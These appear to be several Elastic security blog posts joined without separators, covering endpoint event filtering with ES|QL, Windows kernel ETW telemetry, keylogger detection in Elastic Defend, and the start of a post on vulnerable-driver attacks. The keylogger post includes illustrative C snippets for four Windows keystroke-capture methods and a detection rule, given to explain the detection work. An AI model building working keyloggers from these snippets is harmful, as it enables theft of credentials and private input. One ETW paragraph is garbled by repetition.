When a single host is creating significantly more events than other hosts it is often from a misconfiguration or a bug, in these cases the best solution is to fix the problem on the host. For example, we found a Linux system with a broken script that kept restarting and crashing thousands of times per second. Instead of adding an Event filter we reached out to the system owner and they fixed the script which also improved the performance of the system. If the events are caused by software installs that aren't on other hosts then event filters can be used to filter out for individual hosts. This will often be a single server such as a database or webserver causing a lot of network or file events compared to other systems.

We use the following ES|QL queries to pinpoint high-volume event categories, processes, and file paths. If you are using an older version of Elastic that does not support ES|QL you can use Lens visualizations in a similar way.

In the following ES|QL queries we use the logs-endpoint.events* index pattern. This is the default index pattern created by Elastic Defend for storing streamed events from endpoints. If you are using a custom configuration or cross cluster search this index pattern may be different.

Noisiest Event Categories and Actions: Use this query to find the categories and actions that are creating the most alerts. This is a good starting point to show you where the noisiest events are that will have the biggest impact if they are filtered.

FROM logs-endpoint.events*
| STATS event_count = count(*) BY event.category, event.action
| SORT event_count DESC
| LIMIT 10
| KEEP event.category, event.action, event_count

10 Noisiest Hosts: This query is a good way to find your noisiest workstations or servers.

FROM logs-endpoint.events*
| STATS event_count = count(*) BY host.id, host.name
| SORT event_count DESC
| LIMIT 10
| KEEP host.id, host.name, event_count

Noisiest events on a single host: Once you've identified a noisy host, use this query to drill down and find the specific processes, command lines, or file paths driving that volume. You can use the | WHERE host.id == "{HOST_ID}" filter on any of the following queries to drill down on a single host events.

FROM logs-endpoint.events*
| WHERE host.id == "{HOST_ID}"
| STATS event_count = count(*) BY event.category, event.action, process.name, process.command_line, file.path
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, process.command_line, event.category, event.action, file.path, event_count

Noisiest Process Names: Use this query to find which applications or system processes are responsible for the highest event volume globally across your fleet.

FROM logs-endpoint.events*
| STATS event_count = count(*) BY process.name
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, event_count

Noisiest File Paths: Use this query to identify specific files or directories that are being accessed or modified frequently, often indicating logging or temporary file activity.

FROM logs-endpoint.events*
| WHERE event.category == "file"
| STATS event_count = count(*) BY file.path, event.action
| SORT event_count DESC
| LIMIT 10
| KEEP file.path, event.action, event_count

Top 10 Network Events by Process Name: Use this query to see which processes are generating the most network connection events, which can help identify chatty agents or services.

FROM logs-endpoint.events*
| WHERE event.category == "network"
| STATS event_count = count(*) BY process.name
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, event_count

Top 10 Process Names by File Events: Use this query to identify which processes are generating the most file system noise, distinguishing them from other categories like network or registry events.

FROM logs-endpoint.events*
| WHERE event.category == "file"
| STATS event_count = count(*) BY process.name
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, event_count

Step 2: Precise Event Filtering

Armed with this data, we utilize Event Filters in Elastic Defend. This feature allows you to prevent specific events from ever being sent to Elasticsearch, filtering them out directly at the endpoint. Filtering these events has no impact on the malware and host protections provided by Elastic Defend, it only stops these events from being sent to your cluster. This saves network bandwidth, disk storage, and CPU cycles on the workstations and ingest pipelines.

Filter example 1: Elasticsearch file noise

At Elastic we have a lot of users that run their own installations of Elasticsearch on their workstations as a way of doing testing or development. Elasticsearch will write files to disk very often as documents are ingested which can be quite noisy. Each filter is OS specific so you may need to create more than one version of some filters, this is an example of our MacOS version of this event filter:

Filter example 2: Linux Logfile modifications

On Linux systems log files are being constantly updated. This filter can be used to exclude all modification events when the file.extension is log. We would still receive events if a log file is created or deleted, but not when it is modified.

On MacOS systems that have Docker installed the docker backend process will run ps regularly to get information about the containers running on the workstation. Across our collection of workstations we were seeing these events over 153 million times per month. This filter can be used to exclude those events from collection.

Pro Tip: When applying filters, use the "Comments" field in the UI to document why a filter exists and link to the relevant ticket or investigation. This is crucial for long-term maintenance.

Step 3: Optimizing Performance at the Source

Beyond filtering, it is possible to make changes to the advanced settings of an Elastic Defend policy that will reduce the size of every event that is ingested. These advanced settings can reduce the number of events generated without sacrificing security. There are several features that help reduce the amount of data created by Elastic Agent.

Elastic Defend calculates MD5, SHA-1, and SHA-256 hashes for file events and alerts. Prior to 8.18 collecting all three hashes was enabled by default, but in 8.18 and newer the MD5 and SHA-1 hashes are disabled by default. These calculations consume workstation CPU cycles and cluster storage space calculating hashes that are unnecessary when we have the SHA-256 values.

If you have Elastic Agent prior to 8.18 and you want to disable these hash calculations, this is how you disable MD5 and SHA-1 collection in our integration policy settings:

1. Navigate to Integration Policies -> Elastic Defend.
2. Click Show advanced settings.
3. Under Windows/macOS/Linux event settings, set these values to false:

• windows.advanced.events.hash.md5
• windows.advanced.events.hash.sha1
• linux.advanced.events.hash.md5
• linux.advanced.events.hash.sha1
• macos.advanced.events.hash.md5
• macos.advanced.events.hash.sha1

Event Aggregation

Another effective way to reduce data volume is by utilizing event aggregation. Elastic Defend automatically merges short-lived process and network events with the same values into a single event document. Without this setting every process would create three separate start, fork, end events. With this setting enabled these three events are combined into a single document if they happen within a few seconds of each other.

This is particularly useful for environments where processes spin up and shut down rapidly. This feature is enabled by default on 8.18 and newer versions of Elastic Defend, but it can be enabled on older versions using the advanced settings. You can control this behavior using the advanced setting [linux|mac|windows].advanced.events.aggregate_process. We found that keeping these enabled significantly reduced our event count without impacting our ability to investigate incidents.

The Impact:

• Reduced CPU Usage: The agent no longer spends cycles calculating three different hashes for every file event.
• Smaller Event Size: Removing these fields slightly reduced the size of every file event JSON document sent to Elasticsearch, compounding into significant storage savings over billions of events.

Results

By implementing these changes, we transformed our detection environment:

• Volume Reduction: We dropped from an average of ~48k events per host per hour to ~12k events per host per hour—a 75% reduction in noise.
• Cost Savings: Assuming an average size of 1kb per document ingested, reducing event volume by 36,000 documents per host per hour translates to a reduction of ingested logs by 3.5TB per day for our fleet of 4,000 hosts. This results in an estimated reduction of around 100TB per month in our Elastic cluster, saving our team thousands of dollars every month. The true savings amount can vary depending on your settings such as ILM, logsdb, frozen storage, network transfer costs, cloud provider costs, and the hardware used in your cluster.
• Improved Signal: Our analysts now see fewer benign events which improves overall search speed and makes it easier to find the signal in the noise when hunting for threats.

Conclusion

Automation and configuration tuning are powerful tools for any SOC, and they are essential for managing the rich telemetry provided by modern endpoint security solutions like Elastic Defend. Don't be intimidated by the volume of events collected; this visibility is your greatest asset in detecting advanced threats. By treating our internal security team as Customer Zero, we proved that you can aggressively filter noise and optimize configurations to save money and improve performance without compromising security. These changes not only reduced our storage footprint but also empowered our analysts to focus on what matters most: detecting and responding to real threats.

We encourage you to embrace the full capabilities of Elastic Defend. Don't be intimidated by the data—take control of your Endpoint data with event filters. Start by using ES|QL and Lens to identify your noisiest events, implement Event Filters to suppress benign activity, and review your Policy Settings to ensure you're only collecting the data you truly need. Ready to optimize your own environment? Start your free trial of Elastic Security today and experience the power of comprehensive endpoint protection.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

A critical feature of secure-by-design software is the generation of audit logs when privileged operations are performed. These native audit logs can include details of the internal software state, which are impractical for third-party security vendors to bolt on after the fact.

Most Windows components generate logs using Event Tracing for Windows (ETW). These events expose some of Windows's inner workings, and there are scenarios when endpoint security products benefit from subscribing to them. For security purposes, though, not all ETW providers are created equal.

The first consideration is typically the reliability of the event provider itself - in particular, where the logging happens. Is it within the client process and trivially vulnerable to ETW tampering? Or is it perhaps slightly safer over in an RPC server process? Ideally, though, the telemetry will come from the kernel. Given the user-to-kernel security boundary, this provides stronger anti-tamper guarantees over in-process telemetry. This is Microsoft’s recommended approach. Like Elastic Endpoint, Microsoft Defender for Endpoint also uses kernel ETW in preference to fragile user-mode ntdll hooks.

For example, an adversary might be able to easily avoid an in-process user-mode hook on ntdll!NtProtectVirtualMemory, but bypassing a kernel PROTECTVM ETW event is significantly harder. Or, at least, it should be.

The Security Event Log is effectively just persistent storage for the events from the Microsoft-Windows-Security-Auditing ETW provider. Surprisingly, Security Event 4688 for process creation is not a kernel event. The kernel dispatches the data to the Local Security Authority (lsass.exe) service, emitting an ETW event for the Event Log to consume. So, the data could be tampered with from within that server process. Contrast this with the ProcessStart event from the Microsoft-Windows-Kernel-Process provider, which is logged directly by the kernel and requires kernel-level privileges to interfere with.

The second consideration is then the reliability of the information being logged. You might trust the event source, but what if it is just blindly logging client-supplied data that is extrinsic to the event being logged?

In this article, we’ll focus on kernel ETW events. These are typically the most security-relevant because they are difficult to bypass and often pertain to privileged actions being performed on behalf of a client thread.

When Microsoft introduced Kernel Patch Protection, security vendors were significantly constrained in their ability to monitor the kernel. Given the limited number of kernel extension points provided by Microsoft, they were increasingly compelled to rely on asynchronous ETW events for after-the-fact visibility of kernel actions performed on behalf of malware.

Given this dependency, the public documentation of Windows kernel telemetry sources is unfortunately somewhat sparse.

Kernel ETW Events

There are currently four types of ETW providers that we need to consider.

Firstly, there are legacy and modern variants of “event provider”:

• legacy (mof-based) event providers
• modern (manifest-based) event providers

And then there are legacy and modern variants of “trace provider”:

• legacy Windows software trace preprocessor (WPP) trace providers
• modern TraceLogging trace providers

The “event” versus “trace” distinction is mostly semantic. Event providers are typically registered with the operating system ahead of time, and you can inspect the available telemetry metadata. These are typically used by system administrators for troubleshooting purposes and are often semi-documented. But when something goes really, really wrong there are (hidden) trace providers. These are typically used only by the original software authors for advanced troubleshooting and are undocumented.

In practice, each uses a slightly different format file to describe and register its events and this introduces minor differences in how the events are logged - and, more importantly, how the potential events can be enumerated.

Modern Kernel Event Providers

The modern kernel ETW providers aren’t strictly documented. However, registered event details can be queried from the operating system via the Trace Data Helper API. Microsoft’s PerfView tool uses these APIs to reconstruct the provider’s registration manifest, and Pavel Yosifovich’s EtwExplorer then wraps these manifests in a simple GUI. You can use these tab-separated value files of registered manifests from successive Windows versions. A single line per event is very useful for grepping, though others have since published the raw XML manifests.

These aren’t all of the possible Windows ETW events, however. They are only the ones registered with the operating system by default. For example, the ETW events for many server roles aren’t registered until that feature is enabled.

Legacy Kernel Event Providers

The legacy kernel events are documented by Microsoft. Mostly.

Legacy providers also exist within the operating system as WMI EventTrace classes. Providers are the root classes, groups are the children, and events are the grandchildren.

To search the legacy events in the same way as modern eventTo search legacy events in the same way as modern events, these classes were parsed, and the original MOF (mostly) reconstructed. This MOF support was added to EtwExplorer, and tab-separated value summaries of the legacy events were these classes were parsed and the original MOF (mostly) reconstructed. This MOF support was added to EtwExplorer and tab-separated value summaries of the legacy events published.

The fully reconstructed Windows Kernel Trace MOF is here (or in a tabular format here).

Of the 340 registered legacy events, only 116 were documented. Typically, each legacy event needs to be enabled via a specific flag, but these weren’t documented either. There was a clue in the documentation for the kernel Object Manager Trace events. It mentioned PERF_OB_HANDLE, a constant that is not defined in the headers in the latest SDK. Luckily, Geoff Chappell and the Windows 10 1511 WDK came to the rescue. This information was used to add support for PERFINFO_GROUPMASK kernel trace flags to Microsoft’s KrabsETW library. It also turned out that the Object Trace documentation was wrong. That non-public constant can only be used with an undocumented API extension. Fortunately, public Microsoft projects such as PerfView often provide examples of how to use undocumented APIs.

With both manifests and MOFs published on GitHub, most kernel events can now be found with this query.

Interestingly, Microsoft often obfuscates the names of security-relevant events, so searching for events with a generic name prefix such as task_ yields some interesting results.

Sometimes the keyword hints to the event’s purpose. For example, task_014 in Microsoft-Windows-Kernel-General is enabled with the keyword KERNEL_GENERAL_SECURITY_ACCESSCHECK.

And thankfully, the parameters are almost always well-named. We might guess that task_05 in Microsoft-Windows-Kernel-Audit-API-Calls is related to OpenProcess since it logs fields named TargetProcessId and DesiredAccess.

Another useful query is to search for events with an explicit ProcessStartKey field. ETW events can be configured to include this field for the logging process, and any event that includes this information for another process is often security relevant.

If you had a specific API in mind, you might query for its name or its parameters. For example, if you want Named Pipe events, you might use this query.

In this instance, though, Microsoft-Windows-SEC belongs to the built-in Microsoft Security drivers that Microsoft Defender for Endpoint (MDE) utilizes. This provider is only officially available to MDE, though Sebastian Feldmann and Philipp Schmied have demonstrated how to start a session using an AutoLogger and subscribe to that session’s events. This is only currently useful for MDE users as otherwise, the driver is not configured to emit events.

But what about trace providers?

Modern Kernel Trace Providers

TraceLogging metadata is stored as an opaque blob within the logging binary. Thankfully this format has been reversed by Matt Graeber. We can use Matt’s script to dump all TraceLogging metadata for ntoskrnl.exe. A sample dump of Windows 11 TraceLogging metadata is here.

Unfortunately, the metadata structure alone doesn’t retain the correlation between providers and events. There are interesting provider names, such as Microsoft.Windows.Kernel.Security and AttackSurfaceMonitor, but it’s not yet clear from our metadata dump which events belong to these providers.

Legacy Kernel Trace Providers

WPP metadata is stored within symbols files (PDBs). Microsoft includes this information in the public symbols for some, but not all, drivers. The kernel itself, however, does not produce any WPP events. Instead, the legacy Windows Kernel Trace event provider can be passed undocumented flags to enable the legacy “trace” events usually only available to Microsoft kernel developers.

| Provider | Documentation | Event Metadata | |------------------------|---------------|------------------------------| | Modern Event Providers | None | Registered XML manifests | | Legacy Event Providers | Partial | EventTrace WMI objects | | Modern Trace Providers | None | Undocumented blob in binary | | Legacy Trace Providers | None | Undocumented blob in Symbols |

Next Steps

We now have kernel event metadata for each of the four flavours of ETW provider, but a list of ETW events is just our starting point. Knowing the provider and event keyword may not be enough to generate the events we expect. Sometimes, an additional configuration registry key or API call is required. More often, though, we just need to understand the exact conditions under which the event is logged.

Knowing exactly where and what is being logged is critical to truly understanding your telemetry and its limitations. And, thanks to decompilers becoming readily available, we have the option of some just-enough-reversing available to us. In IDA we call this “press F5”. Ghidra is the open-source alternative and it supports scripting … with Java.

For kernel ETW, we are particularly interested in EtwWrite calls that are reachable from system calls. We want as much of the call site parameter information as possible, including any associated public symbol information. This meant that we needed to walk the call graph but also attempt to resolve the possible values for particular parameters.

The necessary parameters were the RegHandle and the EventDescriptor. The former is an opaque handle for the provider, and the latter provides event-specific information, such as the event id and its associated keywords. An ETW keyword is an identifier used to enable a set of events.

Even better, these event descriptors were typically stored in a global constant with a public symbol.

We had sufficient event metadata but still needed to resolve the opaque provider handle assigned at runtime back to the metadata about the provider. For this, we also needed the EtwRegister calls.

The typical pattern for kernel modern event providers was to store the constant provider GUID and the runtime handle in globals with public symbols.

Another pattern encountered was calls to EtwRegister, EtwEwrite, and EtwUnregister, all in the same function. In this case, we took advantage of the locality to find the provider GUID for the event.

Modern TraceLogging providers, however, did not have associated per-provider public symbols to provide a hint of each provider’s purpose. However, Matt Graeber had reversed the TraceLogging metadata format and documented that the provider name is stored at a fixed offset from the provider GUID. Having the exact provider name is even better than just the public symbol we recovered for modern events.

This just left the legacy providers. They didn’t seem to have either public symbols or metadata blobs. Some constants are passed to an undocumented function named EtwTraceKernelEvent which wraps the eventual ETW write call.

Those constants are present in the Windows 10 1511 WDK headers (and the System Informer headers), so we could label these events with the constant names.

This script has been recently updated for Ghidra 11, along with improved support for TraceLogging and Legacy events. You can now find it on GitHub here - https://github.com/jdu2600/API-To-ETW

Sample output for the Windows 11 kernel is here.

Our previously anonymous Microsoft-Windows-Kernel-Audit-API-Calls events are quickly unmasked by this script.

| Id | EVENT_DESCRIPTOR Symbol | Function | |----|-----------------------------------------------------------|------------------------------------------| | 1 | KERNEL_AUDIT_API_PSSETLOADIMAGENOTIFYROUTINE | PsSetLoadImageNotifyRoutineEx | | 2 | KERNEL_AUDIT_API_TERMINATEPROCESS | NtTerminateProcess | | 3 | KERNEL_AUDIT_API_CREATESYMBOLICLINKOBJECT | ObCreateSymbolicLink | | 4 | KERNEL_AUDIT_API_SETCONTEXTTHREAD | NtSetContextThread | | 5 | KERNEL_AUDIT_API_OPENPROCESS | PsOpenProcess | | 6 | KERNEL_AUDIT_API_OPENTHREAD | PsOpenThread | | 7 | KERNEL_AUDIT_API_IOREGISTERLASTCHANCESHUTDOWNNOTIFICATION | IoRegisterLastChanceShutdownNotification | | 8 | KERNEL_AUDIT_API_IOREGISTERSHUTDOWNNOTIFICATION | IoRegisterShutdownNotification |

Symbol and containing function for Microsoft-Windows-Kernel-Audit-API-Calls events

With the call path and parameter information recovered by the script, we can also see that the SECURITY_ACCESSCHECK event from earlier is associated with the SeAccessCheck kernel API, but only logged within a function named SeLogAccessFailure. Only logging failure conditions is a very common occurrence with ETW events. For troubleshooting purposes, the original ETW use case, these are typically the most useful and the implementation in most components reflects this. Unfortunately, for security purposes, the inverse is often true. The successful operation logs are usually more useful for finding malicious activity. So, the value of some of these legacy events is often low.

Modern Secure by Design practice is to audit log both success and failure for security relevant activities and Microsoft continues to add new security-relevant ETW events that do this. For example, the preview build of Windows 11 24H2 includes some interesting new ETW events in the Microsoft-Windows-Threat-Intelligence provider. Hopefully, these will be documented for security vendors ahead of its release.

Running this decompiler script across interesting Windows drivers and service DLLs is left as an exercise to the reader.

Introduction

Starting with Elastic Defend 8.12, we have enhanced the detection of keyloggers and malware with keylogging capabilities (such as information-stealing malware or remote access trojans, better known as RATs) on Windows by monitoring and recording the calls to representative Windows APIs used by keyloggers. This publication will focus on providing a detailed technical background of this new feature. Additionally, we will introduce the new prebuilt behavioral detection rules created in conjunction with this feature.

What is a keylogger and what are their risks?

A keylogger is a type of software that monitors and records the keystrokes entered on a computer (※1). While keyloggers can be used for legitimate purposes such as user monitoring, they are frequently abused by malicious actors. Specifically, they are used to steal sensitive information such as authentication credentials, credit card details, and various confidential data entered through the keyboard. (※1: While there are hardware keyloggers that can be attached directly to a PC via USB, this article focuses on software keyloggers.)

The sensitive information obtained through keyloggers can be exploited for monetary theft or as a stepping stone for further cyber attacks. Therefore, although keylogging itself does not directly damage the computer, early detection is crucial to preventing subsequent, more invasive cyber attacks.

There are many types of malware with keylogging capabilities, particularly RATs, information stealers, and banking malware. Some well-known malware with keylogging functionality includes Agent Tesla, LokiBot, and SnakeKeylogger.

How are keystrokes stolen?

Next, let's explain from a technical perspective how keyloggers function without being detected. While keyloggers can be used within various operating system environments (Windows/Linux/macOS and mobile devices), this article will focus on Windows keyloggers. Specifically, we will describe four distinct types of keyloggers that capture keystrokes using Windows APIs and functions (※2).

As a side note, the reason for explaining keylogging methods here is to deepen the understanding of the new detection features introduced in the latter half of this article. Therefore, the example code provided is for illustrative purposes only and is not intended to be executable as is (※3).

(※2: Keyloggers running on Windows can be broadly divided into those installed in kernel space (OS side) and those installed in the same space as regular applications (user space). This article focuses on the latter type.) (※3: If a keylogger is created and misused based on the example code provided below, Elastic will not be responsible for any consequences.)

1. Polling-based keylogger

This type of keylogger polls or periodically checks the state of each key on the keyboard (whether the key is pressed) at short intervals (much shorter than one second). If a keylogger detects that a new key has been pressed since the last check, it records and saves the information of the pressed key. By repeating this process, the keylogger captures the characters entered by the user.

Polling-based keyloggers are implemented using Windows APIs that check the state of key inputs, with the GetAsyncKeyState API being a representative example. This API can determine whether a specific key is currently pressed and whether that key has been pressed since the last API call. Below is a simple example of a polling-based keylogger using the GetAsyncKeyState API:

while(true)
{
    for (int key = 1; key <= 255; key++)
    {
        if (GetAsyncKeyState(key) & 0x01)
        {
            SaveTheKey(key, "log.txt");
        }
    }
    Sleep(50);
}

The method of polling (GetAsyncKeyState) to capture key press states is not only a well-known, classic keylogging technique, but it is also commonly used by malware today.

1. Hooking-based keylogger

Hooking-based keyloggers, like polling-based keyloggers, are a classic type that has been around for a long time. Let's first explain what a "hook" is.

A hook is a mechanism that allows you to insert custom processing (custom code) into specific operations of an application. Using a hook to insert custom processing is known as "hooking."

Windows provides a mechanism that allows you to hook messages (events) such as key inputs to an application, and this can be utilized through the SetWindowsHookEx API. Below is a simple example of a hooking-based keylogger using the SetWindowsHookEx API:

HMODULE hHookLibrary = LoadLibraryW(L"hook.dll");
FARPROC hookFunc = GetProcAddress(hHookLibrary, "SaveTheKey");

HHOOK keyboardHook = NULL;

keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,
                (HOOKPROC)hookFunc,
                hHookLibrary,
                0);

1. Keylogger using the Raw Input Model

This type of keylogger captures and records raw input data obtained directly from input devices like keyboards. Before delving into the details of this type of keylogger, it's essential to understand the "Original Input Model" and "Raw Input Model" in Windows. Here's an explanation of each input method:

• Original Input Model: The data entered from input devices like keyboards is processed by the OS before being delivered to the application.
• Raw Input Model: The data entered from input devices is received directly by the application without any intermediate processing by the OS.

Initially, Windows only used the Original Input Model. However, with the introduction of Windows XP, the Raw Input Model was added, likely due to the increasing diversity of input devices. In the Raw Input Model, the RegisterRawInputDevices API is used to register the input devices from which you want to receive raw data directly. Subsequently, the GetRawInputData API is used to obtain the raw data.

Below is a simple example of a keylogger using the Raw Input Model and these APIs:

LRESULT CALLBACK WndProc(HWND hWnd, UINT uMessage, WPARAM wParam, LPARAM lParam)
{

    UINT dwSize = 0;
    RAWINPUT* buffer = NULL;

    switch (uMessage)
    {
    case WM_CREATE:
        RAWINPUTDEVICE rid;
        rid.usUsagePage = 0x01;  // HID_USAGE_PAGE_GENERIC
        rid.usUsage = 0x06;      // HID_USAGE_GENERIC_KEYBOARD
        rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK;
        rid.hwndTarget = hWnd;
        RegisterRawInputDevices(&rid, 1, sizeof(rid));
        break;
    case WM_INPUT:
        GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));

        buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);

        if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize, sizeof(RAWINPUTHEADER)))
        {
            if (buffer->header.dwType == RIM_TYPEKEYBOARD)
            {
                SaveTheKey(buffer, "log.txt");
            }
        }
        HeapFree(GetProcessHeap(), 0, buffer);
        break;
    default:
        return DefWindowProc(hWnd, uMessage, wParam, lParam);
    }
    return 0;
}

In this example, RegisterRawInputDevices is used to register the input devices from which raw input data is to be received. Here, it is set to receive raw input data from the keyboard.

1. Keylogger using DirectInput

Finally, let's discuss a keylogger that uses DirectInput. In simple terms, this keylogger abuses the functionalities of Microsoft DirectX. DirectX is a collection of APIs (libraries) used for handling multimedia tasks such as games and videos.

Since obtaining various inputs from users is essential in gaming, DirectX also provides APIs for processing user inputs. The APIs provided before DirectX version 8 are known as DirectInput. Below is a simple example of a keylogger using related APIs. As a side note, when acquiring key states using DirectInput, the RegisterRawInputDevices API is called in the background.

LPDIRECTINPUT8        lpDI = NULL;
LPDIRECTINPUTDEVICE8    lpKeyboard = NULL;

BYTE key[256];
ZeroMemory(key, sizeof(key));

DirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)&lpDI, NULL);
lpDI->CreateDevice(GUID_SysKeyboard, &lpKeyboard, NULL);
lpKeyboard->SetDataFormat(&c_dfDIKeyboard);
lpKeyboard->SetCooperativeLevel(hwndMain, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE | DISCL_NOWINKEY);

while(true)
{
    HRESULT ret = lpKeyboard->GetDeviceState(sizeof(key), key);
    if (FAILED(ret)) {
        lpKeyboard->Acquire();
        lpKeyboard->GetDeviceState(sizeof(key), key);
    }
  SaveTheKey(key, "log.txt");    
    Sleep(50);
}

Detecting keyloggers by monitoring Windows API calls

Elastic Defend uses Event Tracing for Windows (ETW ※4) to detect the aforementioned keylogger types. This is achieved by monitoring calls to related Windows APIs and logging particularly anomalous behavior. Below are the Windows APIs being monitored and the newly created keylogger detection rules associated with these APIs. (※4: In short, ETW is a mechanism provided by Microsoft for tracing and logging the execution of applications and system components in Windows, such as device drivers.)

Monitored Windows APIs:

• GetAsyncKeyState
• SetWindowsHookEx
• RegisterRawInputDevice

New keylogger endpoint detection rules:

• GetAsyncKeyState API Call from Suspicious Process
• GetAsyncKeyState API Call from Unusual Process
• Keystroke Input Capture via DirectInput
• Keystroke Input Capture via RegisterRawInputDevices
• Keystroke Messages Hooking via SetWindowsHookEx
• Keystrokes Input Capture from a Managed Application
• Keystrokes Input Capture from a Suspicious Module
• Keystrokes Input Capture from Suspicious CallStack
• Keystrokes Input Capture from Unsigned DLL
• Keystrokes Input Capture via SetWindowsHookEx

With this new set of capabilities, Elastic Defend can provide comprehensive monitoring and detection of keylogging activity, enhancing the security and protection of Windows endpoints against these threats.

Detecting Windows keyloggers

Next, let’s walk through an example of how the detection works in practice. We'll detect a keylogger using the Raw Input Model with Elastic Defend. For this example, we prepared a simple PoC keylogger named Keylogger.exe that uses the RegisterRawInputDevices API and executed it in our test environment ※5. (※5:The execution environment is Windows 10 Version 22H2 19045.4412, the latest version available at the time of writing.)

　 Shortly after the keylogger was executed, a detection rule (Keystroke Input Capture via RegisterRawInputDevices) was triggered on the endpoint, showing an alert. The further details of this alert can be viewed within Kibana.

Here are the details of the detection rule, note the specific API referenced in the example.

query = '''
api where
 process.Ext.api.name == "RegisterRawInputDevices" and not process.code_signature.status : "trusted" and
 process.Ext.api.parameters.usage : ("HID_USAGE_GENERIC_KEYBOARD", "KEYBOARD") and
 process.Ext.api.parameters.flags : "*INPUTSINK*" and process.thread.Ext.call_stack_summary : "?*" and
 process.thread.Ext.call_stack_final_user_module.hash.sha256 != null and process.executable != null and
 not process.thread.Ext.call_stack_final_user_module.path :
                         ("*\\program files*", "*\\windows\\system32\\*", "*\\windows\\syswow64\\*",
                          "*\\windows\\systemapps\\*",
                          "*\\users\\*\\appdata\\local\\*\\kumospace.exe",
                          "*\\users\\*\\appdata\\local\\microsoft\\teams\\current\\teams.exe") and 
 not process.executable : ("?:\\Program Files\\*.exe", "?:\\Program Files (x86)\\*.exe")
'''

This rule raises an alert when an unsigned process, or a process signed by an untrusted signer, calls the RegisterRawInputDevices API to capture keystrokes. More specifically, Elastic Defend monitors the arguments passed to the RegisterRawInputDevices API, particularly the members of the RAWINPUTDEVICE structure, which is the first argument of this API.

This raises an alert when these argument values indicate an attempt to capture keyboard input. The logs of the RegisterRawInputDevices API can also be viewed within Kibana.

Data Collected During Windows API Calls

Due to space constraints, this article does not cover all of the detection rules and API details that were added. However, we will briefly describe the data that Elastic Defend collects during calls to the relevant Windows APIs. For further explanations for each item, please refer to the Elastic Common Schema (ECS) mapping detailed in custom_api.yml.

| API Name | Field | Description | Example | | --- | --- | --- | --- | | GetAsyncKeyState | process.Ext.api.metadata.ms_since_last_keyevent | This parameter indicates an elapsed time in milliseconds between the last GetAsyncKeyState event. | 94 | | GetAsyncKeyState | process.Ext.api.metadata.background_callcount | This parameter indicates a number of all GetAsyncKeyState api calls, including unsuccessful calls, between the last successful GetAsyncKeyState call. | 6021 | | SetWindowsHookEx | process.Ext.api.parameters.hook_type | Type of hook procedure to be installed. | "WH_KEYBOARD_LL" | SetWindowsHookEx | process.Ext.api.parameters.hook_module | DLL containing the hook procedure. | "c:\windows\system32\taskbar.dll" | SetWindowsHookEx | process.Ext.api.parameters.procedure | The memory address of the procedure or function. | 2431737462784 | | SetWindowsHookEx | process.Ext.api.metadata.procedure_symbol | Summary of the hook procedure. | "taskbar.dll" | | RegisterRawInputDevices | process.Ext.api.metadata.return_value | Return value of RegisterRawInputDevices API call. | 1 | | RegisterRawInputDevices | process.Ext.api.parameters.usage_page | This parameter indicates the top-level collection (Usage Page) of the device. First member RAWINPUTDEVICE structure. | "GENERIC" | | RegisterRawInputDevices | process.Ext.api.parameters.usage | This parameter indicates the specific device (Usage) within the Usage Page. Second member RAWINPUTDEVICE structure. | "KEYBOARD" | | RegisterRawInputDevices | process.Ext.api.parameters.flags | Mode flag that specifies how to interpret the information provided by UsagePage and Usage. Third member RAWINPUTDEVICE structure. | "INPUTSINK" | | RegisterRawInputDevices | process.Ext.api.metadata.windows_count | Number of windows owned by the caller thread. | 2 | | RegisterRawInputDevices | process.Ext.api.metadata.visible_windows_count | Number of visible windows owned by the caller thread. | 0 | | RegisterRawInputDevices | process.Ext.api.metadata.thread_info_flags | Thread info flags. | 16 | | RegisterRawInputDevices | process.Ext.api.metadata.start_address_module | Name of the module associated with the starting address of a thread. | "C:\Windows\System32\DellTPad\ApMsgFwd.exe" | | RegisterRawInputDevices | process.Ext.api.metadata.start_address_allocation_protection | Memory protection attributes associated with the starting address of a thread. | "RCX" |

Conclusion

In this article, we introduced the keylogger and keylogging detection features for Windows environments that were added starting from Elastic Defend 8.12. Specifically, by monitoring calls to representative Windows APIs related to keylogging, we have integrated a behavioral keylogging detection approach that does not rely on signatures. To ensure accuracy and reduce the false positive rate, we have created this feature and new rules based on months of research.

In addition to keylogging-related APIs, Elastic Defend also monitors other APIs commonly used by malicious actors, such as those for memory manipulation, providing multi-layered protection. If you are interested in Elastic Security and Elastic Defend, please check out the product page and documentation.

Bring Your Own Vulnerable Driver (BYOVD) is an increasingly popular attacker technique wherein a threat actor brings a known-vulnerable signed driver alongside their malware, loads it into the kernel, then exploits it to perform some action within the kernel that they would not otherwise be able to do. After achieving kernel access, they may tamper with or disable security software, dump otherwise inaccessible credentials, or modify operating system behavior to hide their presence. Joe Desimone and I covered this in-depth, among other kernel mode threats, at Black Hat USA 2018. Employed by advanced threat actors for over a decade, BYOVD is becoming increasingly common in ransomware and commodity malware.

Driver Signing Enforcement (DSE), first deployed in 2007 by Windows Vista x64, was the first time that Microsoft attempted to limit the power of admins. With DSE in place, admins could no longer instantly load any code into the kernel. Admin restrictions grew over time with the rollout of Boot Guard, Secure Boot, and Trusted Boot to protect the boot chain from admin malware, which could previously install their own boot loaders / bootkits.

Further limiting admins' power, Microsoft recently deployed the Vulnerable Driver Blocklist by default, starting in Windows 11 22H2. This is a move in the right direction, making Windows 11 more secure by default. Unfortunately, the blocklist's deployment model can be slow to adapt to new threats, with updates automatically deployed typically only once or twice a year. Users can manually update their blocklists, but such interventions bring us out of “secure by default” territory.

Security boundaries

When determining which vulnerabilities to fix, the Microsoft Security Response Center (MSRC) uses the concept of a security boundary, which it defines as follows:

A security boundary provides a logical separation between the code and data of security domains with different levels of trust. For example, the separation between kernel mode and user mode is a classic and straightforward security boundary.

